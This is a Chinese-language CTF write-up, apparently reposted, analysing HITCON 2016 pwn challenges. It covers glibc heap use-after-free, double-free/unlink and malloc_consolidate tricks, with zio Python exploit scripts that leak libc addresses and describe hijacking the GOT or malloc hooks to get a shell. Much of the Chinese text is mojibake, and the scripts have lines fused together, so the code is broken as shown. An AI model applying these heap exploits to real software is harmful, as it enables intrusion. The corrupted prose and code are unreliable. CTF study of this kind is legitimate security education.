PS:這是我很久以前寫(xiě)的，大概是去年剛結(jié)束Hitcon2016時(shí)寫(xiě)的。寫(xiě)完之后就丟在硬盤(pán)里沒(méi)管了，最近翻出來(lái)才想起來(lái)寫(xiě)過(guò)這個(gè)，索性發(fā)出來(lái)

0x0 前言

Hitcon個(gè)人感覺(jué)是高質(zhì)量的比賽，相比國(guó)內(nèi)的CTF，Hitcon的題目?jī)?nèi)容更新，往往會(huì)出現(xiàn)一些以前從未從題目中出現(xiàn)過(guò)的姿勢(shì)。同時(shí)觀察一些CTF也可以發(fā)現(xiàn)，往往都是國(guó)外以及臺(tái)灣的CTF中首先出現(xiàn)的姿勢(shì)，然后一段時(shí)間后才會(huì)被國(guó)內(nèi)的CTF學(xué)習(xí)到。
此次Hitcon2016目前還未發(fā)現(xiàn)有中文的writeup放出，由于Hitcon題目的高質(zhì)量，所以這里寫(xiě)一篇Hitcon Pwn題目的賽題分析，會(huì)從解題思路和出題思路兩方面去分析。
題目列表：

• Pwn100-Secret Holder （30解出）
• Pwn200-ShellingFolder （39解出）
• Pwn300-Sleepy Holder （1解出）
• Pwn300-Babyheap （3解出）
• Pwn350-OmegaGo （3解出）
• Pwn400-Heart Attack （3解出）
• Pwn500-House of Orange （3解出）

可見(jiàn)這次的賽題難度還是相當(dāng)高的，在強(qiáng)如PPP、LC?BC等國(guó)際名隊(duì)，國(guó)內(nèi)強(qiáng)隊(duì)0ops、AAA參賽的情況下。大多數(shù)題目也只有幾隊(duì)能夠解出。

0x1 Pwn100-Secret Holder

1.分析

這是一道經(jīng)典的選單程序，可以分配small、big、huge三種堆塊，其中small屬于small bin，其余兩種都屬于large bin（一個(gè)是4000字節(jié)另一個(gè)是40萬(wàn)字節(jié)）。

Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret

程序是x64的，開(kāi)啟了除了PIE之外的所有保護(hù)。
這道題的漏洞給的相當(dāng)明顯，當(dāng)堆塊被free掉之后，堆指針卻沒(méi)有清零。因此存在著Use-After-Free漏洞，可以很容易的看出我們能夠在一個(gè)塊中獲得一個(gè)懸垂指針。

  puts("Which Secret do you want to wipe?");puts("1. Small secret");puts("2. Big secret");puts("3. Huge secret");memset(&s, 0, 4uLL);read(0, &s, 4uLL);v0 = atoi(&s);switch ( v0 ){case 2:free(big_ptr);big_num = 0;break;case 3:free(huge_ptr);huge_num = 0;break;case 1:free(small_ptr);small_num = 0;break;}

一般存在這種情況就都是使用double free的利用方法。但是這道題比較不同的地方，也是難點(diǎn)所在的地方是，程序給出了一個(gè)大小為40萬(wàn)字節(jié)的塊，在分配屬于large bin大小的堆塊的時(shí)候會(huì)首先進(jìn)行一系列的合并，然后檢查large bin表和unsorted bin表等一系列bins中是否存在可以滿(mǎn)足我們需求大小的塊，明顯這些bins中是不可能存在40萬(wàn)字節(jié)這么大的塊的。然后malloc會(huì)寄希望于從top chunk中分配，對(duì)于4000字節(jié)還好但是40萬(wàn)字節(jié)明顯top chunk本身都不會(huì)有這么大。
那么系統(tǒng)接下來(lái)會(huì)去試圖擴(kuò)展堆的大小，使用的函數(shù)是sysmalloc，這個(gè)函數(shù)會(huì)首先判斷是否滿(mǎn)足mmap的分配條件，如果要分配的大小大于mmap的閥值（mp_.mmap_threshold），并且此進(jìn)程通過(guò)mmap分配的總內(nèi)存數(shù)量（mp_.n_mmaps）小于設(shè)定的最大值的話(huà)（mp_.n_mmaps_max），就會(huì)使用mmap分配

 if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) &&(mp_.n_mmaps < mp_.n_mmaps_max)){……}

毫無(wú)疑問(wèn)，我們的40萬(wàn)字節(jié)的分配滿(mǎn)足這兩個(gè)條件，但這不是我們想看到的。
因?yàn)槌跏嫉亩咽怯蒪rk方式分配的，其中brk分配的堆的地址是緊鄰著bss段的（如果存在ASLR則會(huì)加一個(gè)隨機(jī)的偏移值）。而mmap分配的內(nèi)存則會(huì)創(chuàng)建一個(gè)內(nèi)存映射段出來(lái)，這兩者分配出來(lái)的內(nèi)存的地址相距是很遠(yuǎn)的。
那么有沒(méi)有辦法讓40萬(wàn)字節(jié)通過(guò)brk分配呢？答案是有的，sysmalloc在mmap出內(nèi)存之后會(huì)隨之更新mp_.n_mmaps_max值，如下所示：

unsigned long sum;
sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size;
atomic_max (&mp_.max_mmapped_mem, sum);

這樣當(dāng)下次判斷的時(shí)候，就不再滿(mǎn)足mmap分配的條件了，從而使得通過(guò)brk來(lái)分配。
對(duì)于double free的利用，我們通常采取的手段是圍繞著懸垂指針構(gòu)造兩個(gè)偽堆塊結(jié)構(gòu)，并且設(shè)置前一個(gè)塊為空，這樣當(dāng)我們free掉指針的時(shí)候就會(huì)觸發(fā)unlink宏達(dá)到執(zhí)行任意代碼的目的。為了實(shí)現(xiàn)這一目的，我們必須要讓這兩個(gè)偽堆塊屬于small bin的范疇。對(duì)于x64來(lái)說(shuō)范圍是32～1016byte，40字節(jié)的small明顯屬于small bin，但是big和huge均不屬于small bin。
如果我們偽造兩個(gè)small bin來(lái)布局內(nèi)存的話(huà)，那么是會(huì)引發(fā)段錯(cuò)誤的，如以下代碼所示：

if (__builtin_expect (!prev_inuse(nextchunk), 0))
{errstr = "double free or corruption (!prev)";goto errout;
}

這段_int_free中的代碼本來(lái)的目的是為了防止double free的，它檢測(cè)了當(dāng)前塊的下一塊的prev_inuse域是否被設(shè)置，如果我們簡(jiǎn)單粗暴的直接偽造兩個(gè)small bin那么相應(yīng)位置的inuse位肯定是0，從而引發(fā)錯(cuò)誤，所以我們要做的是在兩個(gè)偽造的small bin之后再接著偽造一個(gè)塊就可以繞過(guò)這個(gè)檢測(cè)了。

當(dāng)成功的觸發(fā)了unlink之后，我們就可以發(fā)現(xiàn)原有的big指針被改成了&big-0x18

===========================================================================
.bss:0000000000602090
.bss:0000000000602090 ; Segment type: Uninitialized
.bss:0000000000602090 ; Segment permissions: Read/Write
.bss:0000000000602090 _bss            segment para public 'BSS' use64
.bss:0000000000602090                 assume cs:_bss
.bss:0000000000602090                 ;org 602090h
.bss:0000000000602090                 assume es:nothing, ss:nothing, ds:_data, 
.bss:0000000000602090                 public stdout
.bss:0000000000602090 ; FILE *stdout
.bss:0000000000602090 stdout          dq ?                    ; DATA XREF: 
.bss:0000000000602090                                         ; sub_4007B0+22o ...
.bss:0000000000602090                                         ; Copy of shared 
.bss:0000000000602098 byte_602098     db ?                    ; DATA XREF: 
.bss:0000000000602098                                         ; sub_400820+13w
.bss:0000000000602099                 align 20h
.bss:00000000006020A0 ; void *big_pointer
.bss:00000000006020A0 big_pointer     dq ?                    ; DATA XREF: 
.bss:00000000006020A0                                         ; 
.bss:00000000006020A8 ; void *huge_pointer
.bss:00000000006020A8 huge_pointer    dq ?                    ; DATA XREF: 
.bss:00000000006020A8                                         ; 
.bss:00000000006020B0 ; void *small_pointer
.bss:00000000006020B0 small_pointer   dq ?                    ; DATA XREF: 
.bss:00000000006020B0                                         ; sub_40086D+D3r ...
.bss:00000000006020B8 big_jisu        dd ?                    ; DATA XREF: 
.bss:00000000006020B8                                         ; 
.bss:00000000006020BC huge_jisu       dd ?                    ; DATA XREF: 
.bss:00000000006020BC                                         ; 
.bss:00000000006020C0 small_jisu      dd ?                    ; DATA XREF: 
.bss:00000000006020C0                                         ; sub_40086D+BFw ...
.bss:00000000006020C4                 align 8
.bss:00000000006020C4 _bss            ends
.bss:00000000006020C4

然后我們?cè)倮胷enew功能對(duì)big_pointer進(jìn)行寫(xiě)入，如上面的bss布局所示可以輕易的覆蓋到big_pointer、huge_pointer、small_pointer，從而實(shí)現(xiàn)了任意地址寫(xiě)。
因?yàn)轭}目沒(méi)有提供libc.so所以需要自己去泄漏libc.so的版本和基地址。因?yàn)槲覀円呀?jīng)具備了任意地址寫(xiě)的能力，所以現(xiàn)在的問(wèn)題就是如何把任意地址寫(xiě)轉(zhuǎn)換成為任意地址泄漏。
這里我們使用的方法是把free函數(shù)的got表值覆蓋為輸出函數(shù)的地址，比如puts。這個(gè)方法在去年的XXXX CTF里也有出現(xiàn)過(guò)。

2.利用步驟

通過(guò)上面的分析我們可以得出以下的利用步驟
1.keep huge
2.wipe huge //提高了mp_.n_mmaps_max的值
3.keep small
4.keep big
5.wipe small
6.wipe big //獲取懸垂指針
7.keep huge //構(gòu)造偽堆塊結(jié)構(gòu)
8.wipe big //double free
9.renew big //overwrite big_pointer and huge_pointer
10.renew huge//overwrite free@got by puts@plt
這種情況下的exp如下：

from zio import *
from struct import *io=zio('./sh1',timeout=9999)
#io.gdb_hint()
ptr=0x6020A8def BinToInt64(bin):tuple1=unpack('Q',bin[0:8])print tuple1str1=str(tuple1)int1=int(str1[1:19])print int1print hex(int1)return hex(int1)fake_chunk=''
fake_chunk+=l64(0)+l64(33)
fake_chunk+=l64(ptr-24)+l64(ptr-16)
fake_chunk=fake_chunk.ljust(32,'a')
fake_chunk+=l64(32)+l64(160)
fake_chunk=fake_chunk.ljust(192,'b')
fake_chunk+=l64(0)+l64(161)
fake_chunk=fake_chunk.ljust(352,'c')
fake_chunk+=l64(0)+l64(161)
fake_chunk=fake_chunk.ljust(512,'d')sc1=l64(1)+l64(0)+l64(0x602018)+l64(0x06020A0)+l64(0x602030)#memset@got
sc2=l64(0x4006c6)+l64(0x4006c6)#puts@plt
sc3=l64(0x602048)+l64(0x06020A0)+l64(0x0602040)#__libc_start_main@got + read@gotio.read_until('3. Renew secret')#keep huge
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline('xxx')io.read_until('3. Renew secret')#wipe huge
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('3')io.read_until('3. Renew secret')#keep small
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('1')
io.read_until('Tell me your secret:')
io.writeline('xxx')io.read_until('3. Renew secret')#keep big
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('2')
io.read_until('Tell me your secret:')
io.writeline('xxx')io.read_until('3. Renew secret')#wipe small
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('1')io.read_until('3. Renew secret')#wipe big
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('2')io.read_until('3. Renew secret')#keep huge
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline(fake_chunk)io.read_until('3. Renew secret')#wipe big  unlink!!!
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('2')io.read_until('3. Renew secret')#renew huge
io.writeline('3')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline(sc1)io.read_until('3. Renew secret')#renew big
io.writeline('3')
io.read_until('3. Huge secret')
io.writeline('2')
io.read_until('Tell me your secret:')
io.writeline(sc2)#io.gdb_hint()io.read_until('3. Renew secret')#wipe small   #memset@got
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('1')
#io.read_until('3. Renew secret')
memset_got=io.read(20)
print 'memset@got==============='
t1=BinToInt64(memset_got[0:8])
print hex(int(str(t1)[3:15],16))io.read_until('3. Renew secret')#renew huge
io.writeline('3')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline(sc3)io.read_until('3. Renew secret')#wipe small   read@got
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('1')
read_got=io.read(20)
print 'read@got================'
t1=BinToInt64(read_got[0:8])
print hex(int(str(t1)[3:15],16))io.read_until('3. Renew secret')#wipe big   _libc_start_main@got
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('2')
libc_start=io.read(20)
print 'libc_start_main==========='
t1=BinToInt64(libc_start[0:8])
print hex(int(str(t1)[3:15],16))#io.gdb_hint()  
io.read()

由于libc.so取決于本地測(cè)試時(shí)的版本，所以這里就只提供leak的exp了，最后取得shell已經(jīng)變得非常簡(jiǎn)單了，只需要隨意覆蓋一個(gè)got表為magic system地址即可。

3.總結(jié)

double free利用的題在CTF中較為常見(jiàn)，但是結(jié)合了large bin和small bin的double free確實(shí)是很少的。這里面對(duì)于堆塊的brk和mmap分配也需要對(duì)ptmalloc有一定了解的人才能及時(shí)的解出。

0x2 Pwn200-Shelling Folder

1.分析

同樣是x64下的Linux程序，功能大體上是一個(gè)目錄管理程序，所有保護(hù)全開(kāi)，但是提供了libc.so。

**************************************ShellingFolder            
**************************************1.List the current folder            2.Change the current folder          3.Make a folder                      4.Create a file in current folder    5.Remove a folder or a file          6.Caculate the size of folder        7.Exit                               
**************************************
Your choice:

在程序里主要的結(jié)構(gòu)如下：
總共是136個(gè)字節(jié)

[80] child_pointer
[8] parents_pointer
[32]    name
[8] size
[4] flag

其中第一個(gè)域是指向自己子結(jié)構(gòu)的指針，共10個(gè)。說(shuō)明一個(gè)目錄最多能存放10個(gè)子結(jié)構(gòu)。第二個(gè)域是父目錄的指針，指向自己的上一級(jí)結(jié)構(gòu)。第三個(gè)域儲(chǔ)存這個(gè)結(jié)構(gòu)的名稱(chēng)。第四個(gè)儲(chǔ)存這個(gè)文件的大小，注意只有這個(gè)結(jié)構(gòu)表示文件時(shí)才使用size域。最后一個(gè)域用來(lái)表示這個(gè)結(jié)構(gòu)是目錄還是文件。
這道題總共有2個(gè)洞，雖然代碼有些啰嗦，但是其中第一洞還是想到明顯的。可以發(fā)現(xiàn)存在一個(gè)棧溢出能夠覆蓋掉局部變量，如下所示我們可以計(jì)算出棧上的緩沖區(qū)s的大小是24個(gè)字節(jié)

-0000000000000030 s               db ?
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
-000000000000002D                 db ? ; undefined
-000000000000002C                 db ? ; undefined
-000000000000002B                 db ? ; undefined
-000000000000002A                 db ? ; undefined
-0000000000000029                 db ? ; undefined
-0000000000000028                 db ? ; undefined
-0000000000000027                 db ? ; undefined
-0000000000000026                 db ? ; undefined
-0000000000000025                 db ? ; undefined
-0000000000000024                 db ? ; undefined
-0000000000000023                 db ? ; undefined
-0000000000000022                 db ? ; undefined
-0000000000000021                 db ? ; undefined
-0000000000000020                 db ? ; undefined
-000000000000001F                 db ? ; undefined
-000000000000001E                 db ? ; undefined
-000000000000001D                 db ? ; undefined
-000000000000001C                 db ? ; undefined
-000000000000001B                 db ? ; undefined
-000000000000001A                 db ? ; undefined
-0000000000000019                 db ? ; undefined
-0000000000000018 var_18          dq ?

但是我們進(jìn)行拷貝的時(shí)候卻是拷貝了30個(gè)字節(jié)，這樣就覆蓋了v3變量的值，但是并不能達(dá)到返回地址和保存的ebp

  while ( v4 <= 9 ){if ( *(_QWORD *)(a1 + 8LL * v4) ){v3 = a1 + 120;Mycopy(&s, (const char *)(*(_QWORD *)(a1 + 8LL * v4) + 88LL));if ( *(_DWORD *)(*(_QWORD *)(a1 + 8LL * v4) + 128LL) == 1 ){*(_QWORD *)v3 = *(_QWORD *)v3;}else{printf("%s : size %ld\n", &s, *(_QWORD *)(*(_QWORD *)(a1 + 8LL * v4) + 120LL));*(_QWORD *)v3 += *(_QWORD *)(*(_QWORD *)(a1 + 8LL * v4) + 120LL);}}++v4;}

而這個(gè)v3局部變量是一個(gè)指針，之后會(huì)對(duì)這個(gè)指針指向的值做一個(gè)加法操作，我們這里的*(_QWORD )((_QWORD )(a1 + 8LL v4) + 120LL)的值其實(shí)就是之前設(shè)置的當(dāng)前目錄下的文件的size值。但是這個(gè)值是被用戶(hù)控制的，而且是可正可負(fù)的。由于加法操作數(shù)可正可負(fù)，所以這就相當(dāng)于是造成了一個(gè)任意地址寫(xiě)（write-anything-anywhere）的漏洞。
第二個(gè)漏洞就比較隱蔽了，在作者實(shí)現(xiàn)的MyCopy函數(shù)中，沒(méi)有給拷貝的字符串加上字符串結(jié)束符

void *__fastcall Mycopy(void *a1, const char *a2)
{size_t n; // ST28_8@1n = strlen(a2);return memcpy(a1, a2, n);
}

而這道題恰好又存在著輸出功能，那么我們就有可能利用這個(gè)漏洞來(lái)實(shí)現(xiàn)地址泄漏。
如果這道題沒(méi)有開(kāi)PIE保護(hù)，那么利用起來(lái)很簡(jiǎn)單?？梢酝ㄟ^(guò)任意地址寫(xiě)去改寫(xiě)bss段上存有的當(dāng)前目錄的指針，來(lái)泄漏出got表的值，然后因?yàn)轭}目提供了libc，所以可以直接計(jì)算出地址，再利用任意地址寫(xiě)寫(xiě)到got表中就可以拿到shell了。
然而，在保護(hù)全開(kāi)的情況下，我們并沒(méi)有一個(gè)確切的地址去寫(xiě)，因?yàn)樗心K的地址均是不定的。所以這里使用的方法是部分覆蓋指針?lè)?#xff0c;我們只向目標(biāo)中寫(xiě)入25個(gè)字節(jié)以覆蓋最低位。

__int64 __fastcall sub_1334(__int64 a1)
{if ( !a1 )exit(1);v4 = 0;memset(&s, 0, 0x20uLL);while ( v4 <= 9 ){if ( *(_QWORD *)(a1 + 8LL * v4) ){v3 = a1 + 120;Mycopy(&s, (const char *)(*(_QWORD *)(a1 + 8LL * v4) + 88LL));

我們可以看到這里v3的值在發(fā)生溢出被覆蓋前是等于a1+120的，而a1是什么呢？a1是全局變量0x202020也就是當(dāng)前目錄的結(jié)構(gòu)指針。那么v3的值其實(shí)是指向當(dāng)前目錄結(jié)構(gòu)的size域的，我們知道size域距離塊首有0x78的偏移，如果能夠進(jìn)行合理的猜測(cè)那么就可以實(shí)現(xiàn)覆蓋掉10個(gè)指針中的某一個(gè)，并把它指向我們?nèi)我舛x的地方。然后通過(guò)1號(hào)list功能就可以實(shí)現(xiàn)泄漏內(nèi)存了。
具體要把指針指向哪里呢？我們要思考一下，之所以堆可以泄漏內(nèi)存是因?yàn)閒ree狀態(tài)的堆存在著fd和bk指針，那么我們首先就要去構(gòu)造一些這樣的空塊出來(lái)，然后再把指針指過(guò)去實(shí)現(xiàn)泄漏。
即只覆蓋指針的低地址部分，這種方法并不精確但是通過(guò)不斷的嘗試我們可以摸索出一個(gè)偏移以使得把指針指向這里之后再次泄漏，把指針附近的內(nèi)存讀出，因?yàn)樵趐tmalloc中，一個(gè)塊被釋放后會(huì)被丟人unsorted bin中，只要我們能夠讀到后面的unsorted bin的fd和bk指針就可以獲取到bins[]地址，從而計(jì)算出libc的基地址。

一旦獲得了libc的基地址一切就簡(jiǎn)單了，因?yàn)轭}目已經(jīng)提供了libc文件。所以我們可以直接算出我們想要的地址。在libc中存在著一個(gè)非常好用的位置，即是ptmalloc的一系列hook函數(shù)，我們可以通過(guò)libc地址算出free_hook的地址，然后把magic system寫(xiě)入free_hook。之后，當(dāng)我們?cè)俅握{(diào)用free函數(shù)時(shí)就會(huì)轉(zhuǎn)向我們?cè)趂ree_hook中指定的magic system了。
思路已經(jīng)理清楚了。

1.創(chuàng)建8個(gè)文件
2.創(chuàng)建一個(gè)可造成溢出的文件
3.把8個(gè)文件中的后面幾個(gè)釋放掉，以加入unsorted bin
2.計(jì)算大小
3.列出當(dāng)前目錄下的內(nèi)容

exp如下：

from zio import *
from struct import *
io=zio('./sf',timeout=9999)#io.gdb_hint()def BinToInt64(bin):tuple1=unpack('Q',bin[0:8])print tuple1str1=str(tuple1)int1=int(str1[1:19])print int1print hex(int1)return hex(int1)name_overflow=''
name_overflow=name_overflow.ljust(24,'a')+'\x28'offset='200'i=0
for i in range(0,8):io.read_until('Your choice:')#create file x8io.writeline('4')io.read_until('Name of File:')io.writeline(str(i))io.read_until('Size of File:')io.writeline('100')i+=1io.read_until('Your choice:')#create file
io.writeline('4')
io.read_until('Name of File:')
io.writeline(name_overflow)
io.read_until('Size of File:')
io.writeline(offset)i=5
for i in range(5,8):io.read_until('Your choice:')#remove file io.writeline('5')io.read_until('Choose a Folder or file :')io.writeline(str(i))i+=1#io.gdb_hint()
io.read_until('Your choice:')#Caculate size
io.writeline('6')io.read_until('Your choice:')#list folder
io.writeline('1')io.read_until('2')
get=io.read(8)
addr=BinToInt64(get)
addr=int(str(addr[3:15]),16)
print hex(addr)io.read()

即可得到bins的地址，然后再推算出malloc_hook的地址。我們?yōu)榱死梅奖阃瑯邮褂昧薽agic system，然后利用前面的任意地址寫(xiě)把magic system的地址寫(xiě)到malloc_hook上。之后當(dāng)我們?cè)俅斡|發(fā)malloc就可以成功的得到shell。

0x3 Pwn300-Sleepy Holder

題目的程序與Pwn100基本上是一致的
main函數(shù)同樣是一個(gè)選單，分為：

Waking Sleepy Holder up ...
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret

其中塊依然是分為small（40）、big（4000）、huge（400000）三種

_int64 keep()
{int v0; // eax@3char s; // [sp+10h] [bp-10h]@3__int64 v3; // [sp+18h] [bp-8h]@1v3 = *MK_FP(__FS__, 40LL);puts("What secret do you want to keep?");puts("1. Small secret");puts("2. Big secret");if ( !huge_jisu )puts("3. Keep a huge secret and lock it forever");memset(&s, 0, 4uLL);read(0, &s, 4uLL);v0 = atoi(&s);if ( v0 == 2 ){if ( !big_jisu ){big_pointer = calloc(1uLL, 4000uLL);big_jisu = 1;puts("Tell me your secret: ");read(0, big_pointer, 4000uLL);}}else if ( v0 == 3 ){if ( !huge_jisu ){huge_pointer = calloc(1uLL, 400000uLL);huge_jisu = 1;puts("Tell me your secret: ");read(0, huge_pointer, 400000uLL);}}else if ( v0 == 1 && !small_jisu ){small_pointer = calloc(1uLL, 40uLL);small_jisu = 1;puts("Tell me your secret: ");read(0, small_pointer, 40uLL);}return *MK_FP(__FS__, 40LL) ^ v3;
}

同樣是釋放后只將計(jì)數(shù)清零，并沒(méi)有清零指針，所以UAF漏洞依然存在

__int64 wipe()
{int v0; // eax@1char s; // [sp+10h] [bp-10h]@1__int64 v3; // [sp+18h] [bp-8h]@1v3 = *MK_FP(__FS__, 40LL);puts("Which Secret do you want to wipe?");puts("1. Small secret");puts("2. Big secret");memset(&s, 0, 4uLL);read(0, &s, 4uLL);v0 = atoi(&s);if ( v0 == 1 ){free(small_pointer);small_jisu = 0;         //只清零計(jì)數(shù)，并沒(méi)有清零指針}else if ( v0 == 2 ){free(big_pointer);big_jisu = 0;           //只清零計(jì)數(shù)，并沒(méi)有清零指針}return *MK_FP(__FS__, 40LL) ^ v3;
}

看到這里我們應(yīng)該意識(shí)到這道題與Pwn100的差別了，就是huge塊只可以分配一次，并且無(wú)法釋放。
所以要另想辦法才行，不得不佩服Hitcon CTF主辦方的是（可能是217？）這道題的利用思路很有可能是是首創(chuàng)的，甚至之前都從來(lái)沒(méi)有出現(xiàn)過(guò)的。
在ptmalloc中分配一個(gè)large bin的時(shí)候，會(huì)調(diào)用malloc_consolidate()函數(shù)來(lái)清除fastbin中的塊。
具體操作如下：

 else //當(dāng)分配large bin時(shí) {idx = largebin_index(nb);if (have_fastchunks(av))malloc_consolidate(av);}

malloc_consolidate函數(shù)其實(shí)只在存在fastbin塊時(shí)進(jìn)行操作

static void malloc_consolidate(mstate av)
{//...if (get_max_fast () != 0) //當(dāng)fastbin存在時(shí){//...do    {//...do  {//...if (!prev_inuse(p)) //合并fastbin中的相鄰空塊{prevsize = p->prev_size;size += prevsize;p = chunk_at_offset(p, -((long) prevsize));unlink(p, bck, fwd);}//...} while ( (p = nextp) != 0); //遍歷一條fastbin鏈表里的每一個(gè)塊}while (fb++ != maxfb); //遍歷每一條fastbin鏈表  }else //當(dāng)fastbin不存在時(shí){//...}
}

目的是把fastbin中的塊的狀態(tài)設(shè)置為空，因?yàn)槲覀冎纅astbin中的塊是始終處于使用狀態(tài)的，就是說(shuō)fastbin塊的后塊的pre_inuse位始終置1。但是，一旦觸發(fā)了malloc_consolidate函數(shù)就會(huì)把fastbin塊丟入small bin中并且設(shè)置為釋放狀態(tài)，即下一塊的pre_inuse域?yàn)?。

1   keep small 
2   keep big     //防止small與big合并
3   wipe small   //small進(jìn)入fastbin表
4   keep huge    //分配large bin使得fastbin塊進(jìn)入small bin
5  wipe small   //再次free同一個(gè)塊，是為了讓它存在于fastbin表中
6  keep small   //fastbin的項(xiàng)被取下,之前釋放的內(nèi)存被返還（在這塊內(nèi)存中布局偽堆結(jié)構(gòu)）
7  wipe big     //unlink
8  renew small  //覆寫(xiě)指針，接著就是任意地址寫(xiě)

這道題利用的點(diǎn)是，當(dāng)分配large bin的時(shí)候，會(huì)把fastbin的塊設(shè)為free狀態(tài)，并且丟進(jìn)small bins中。從而使得fastbin后面的big chunk的inuse位為0。之后的目的就是要保持住這個(gè)為0的inuse位，最后在這個(gè)塊前面重新取回那個(gè)small bin，實(shí)現(xiàn)觸發(fā)unlink造成任意地址寫(xiě)。
所以分配huge塊（large bin）的意義就是為了觸發(fā)malloc_consolidate函數(shù)，而第二次釋放fastbin塊是為了讓它加入到fastbin鏈表中，而且分配的時(shí)候如果是從fastbin分配過(guò)來(lái)的話(huà)那么根本就不會(huì)更改inuse域。
所以這個(gè)題其實(shí)利用了這樣的一種矛盾：
1.從fastbin分配不會(huì)設(shè)置后塊的pre_inuse位。
2.malloc_consolidate會(huì)把fastbin的后塊pre_inuse位清零。

本質(zhì)的利用方法依然是unlink，修改了塊的指針，然后可以實(shí)現(xiàn)指針的覆寫(xiě)從而導(dǎo)致任意地址寫(xiě)。解下的步驟與Pwn100就很類(lèi)似了。

轉(zhuǎn)載于:https://www.cnblogs.com/Ox9A82/p/6766261.html

總結(jié)

以上是生活随笔為你收集整理的Hitcon 2016 Pwn赛题学习的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。